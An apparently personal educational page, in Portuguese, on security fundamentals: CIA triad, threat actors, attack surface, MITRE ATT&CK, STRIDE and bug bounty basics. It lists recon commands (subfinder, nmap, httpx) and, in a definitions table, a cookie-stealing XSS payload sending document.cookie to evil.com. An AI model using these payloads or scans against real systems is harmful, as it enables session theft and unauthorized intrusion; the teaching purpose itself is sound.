Kaique Mitsuo Silva Yamamoto
Seguranca informacao

Fundamentos de Segurança da Informação

Tríade CIA, threat landscape moderna, attack surface, frameworks de segurança e modelos de maturidade — a base teórica para offensive e defensive security.

Segurança da informação não é apenas "hackear coisas". É compreender como sistemas falham, como atacantes pensam e como construir defesas eficazes. Esta página cobre os fundamentos que sustentam tudo o que vem depois.


A Tríade CIA

O modelo CIA (Confidentiality, Integrity, Availability) é o pilar de toda estratégia de segurança.

PilarObjetivoExemplo de falha
ConfidentialityApenas autorizados acessam dadosVazamento de PII por SQL injection
IntegrityDados não são alterados indevidamenteManipulação de parâmetros de preço em e-commerce
AvailabilitySistemas acessíveis quando precisamDDoS derrubando API de pagamentos

Outros princípios importantes

  • Autenticação — verificar identidade (quem é você?)
  • Autorização — verificar permissão (o que você pode?)
  • Não-repúdio — provar que uma ação aconteceu (quem fez isso?)
  • Least privilege — acesso mínimo necessário
  • Defense in depth — múltiplas camadas de proteção

Threat Landscape (2024-2026)

Vetores de ataque mais explorados

1. Phishing / Social Engineering     ████████████████████  36%
2. Vulnerabilidades em aplicações web ████████████████     28%
3. Credenciais comprometidas          ████████████         22%
4. Supply chain attacks               ██████               10%
5. Misconfiguração de infraestrutura  ██                    4%

Principais atores de ameaça

AtorMotivaçãoTípico alvo
Cybercrime organizadoFinanceiro (ransomware, fraude)Empresas, governo, saúde
State-sponsoredEspionagem, sabotagemDefesa, infraestrutura crítica
HacktivistasIdeologia, protestoGoverno, corporações polêmicas
InsidersVingança, ganho financeiroPrópria organização
Bug bounty huntersRecompensa, aprendizadoProgramas de bug bounty

Attack Surface

Attack surface é a soma de todos os pontos onde um atacante pode interagir com seu sistema.

Componentes de attack surface

                    ┌──────────────────┐
                    │  ATTACK SURFACE  │
                    └────────┬─────────┘
           ┌─────────────────┼─────────────────┐
     ┌─────┴─────┐    ┌─────┴─────┐    ┌──────┴──────┐
     │  Digital   │    │  Physical │    │   Social    │
     └─────┬─────┘    └─────┬─────┘    └──────┬──────┘
           │                │                  │
    ┌──────┼──────┐    ┌────┼────┐       ┌─────┼─────┐
    Web  API  DNS  IoT  Docs  USB    Phishing Pretexting
    Apps       Mail     Office         Vishing  Baiting

Mapeamento de attack surface

# Enumeração de subdomínios
subfinder -d target.com -o subdomains.txt

# Verificação de hosts vivos
httpx -l subdomains.txt -o alive.txt

# Port scanning
nmap -iL alive.txt -oN nmap_results.txt

# Fingerprint de tecnologias
whatweb -i alive.txt

# Descoberta de endpoints
gau target.com | uro | sort -u > endpoints.txt

Frameworks de Segurança

FrameworkFocoQuando usar
NIST CSF 2.0Governança de risco cibernéticoOrganizações de qualquer porte
ISO 27001Sistema de gestão de segurança (SGSI)Compliance, contratos enterprise
MITRE ATT&CKTáticas e técnicas de adversáriosThreat modeling, detecção
OWASP SAMMMaturidade de segurança de softwareDesenvolvimento seguro
CIS ControlsControles prioritáriosImplementação prática

MITRE ATT&CK — Táticas (simplified)

Recon → Resource → Initial → Execution → Persistence → Privilege → Defense → Credential → Discovery → Lateral → Collection → C2 → Exfil → Impact
TáticaExemplo de técnica
Initial AccessPhishing, exploit de VPN, supply chain
ExecutionCommand injection, scheduled tasks
PersistenceWeb shells, cron jobs, SSH keys
Privilege EscalationSUID binaries, kernel exploits
Lateral MovementPass-the-hash, SSH pivoting
ExfiltrationDNS tunneling, cloud storage

Modelos de Maturidade

CMMI aplicado a segurança

NívelDescriçãoIndicador
1 — InitialAd-hoc, reativoSem processo definido
2 — ManagedProcessos básicosScan de vulnerabilidades periódico
3 — DefinedProcessos padronizadosSDLC seguro, testes automatizados
4 — Quantitatively ManagedMedido e controladoMétricas de segurança, bug bounty
5 — OptimizingMelhoria contínuaThreat hunting, red team contínuo

Conceitos Essenciais para Bug Bounty

Vulnerabilidade vs Exploit vs Payload

ConceitoDefiniçãoExemplo
VulnerabilidadeFraqueza em sistema que pode ser exploradaInput não sanitizado em campo de busca
ExploitCódigo/técnica que aproveita a vulnerabilidade<script>alert(1)</script> no campo de busca
PayloadAção executada após o exploitdocument.location='http://evil.com/?c='+document.cookie

CWE vs CVE vs CVSS

  • CWE (Common Weakness Enumeration) — classifica o tipo de fraqueza (ex: CWE-79 = XSS)
  • CVE (Common Vulnerabilities and Exposures) — identifica uma vulnerabilidade específica (ex: CVE-2024-1234)
  • CVSS (Common Vulnerability Scoring System) — pontua a severidade (0.0 a 10.0)
CVSS ScoreSeveridadeImpacto típico em bug bounty
0.1 — 3.9Low$100 — $500
4.0 — 6.9Medium$500 — $2,000
7.0 — 8.9High$2,000 — $10,000
9.0 — 10.0Critical$10,000 — $100,000+

Threat Modeling

STRIDE

AmeaçaSiglaExemplo prático
SpoofingFalsificar identidadeLogin com credencial roubada
TamperingAlterar dadosModificar parâmetro de preço no carrinho
RepudiationNegar açãoUsuário nega ter feito transferência
Information DisclosureVazar dadosStack trace exposto em erro 500
Denial of ServiceIndisponibilizarReDoS em campo de regex
Elevation of PrivilegeEscalar acessoUser acessa endpoint de admin

DFD (Data Flow Diagram) básico

[Usuário] → (Login) → [API] → (Query) → [DB]

                    (Log) → [SIEM]

Para cada fluxo de dados, pergunte: "Como um atacante poderia manipular, interceptar ou negar esse fluxo?"


Referências

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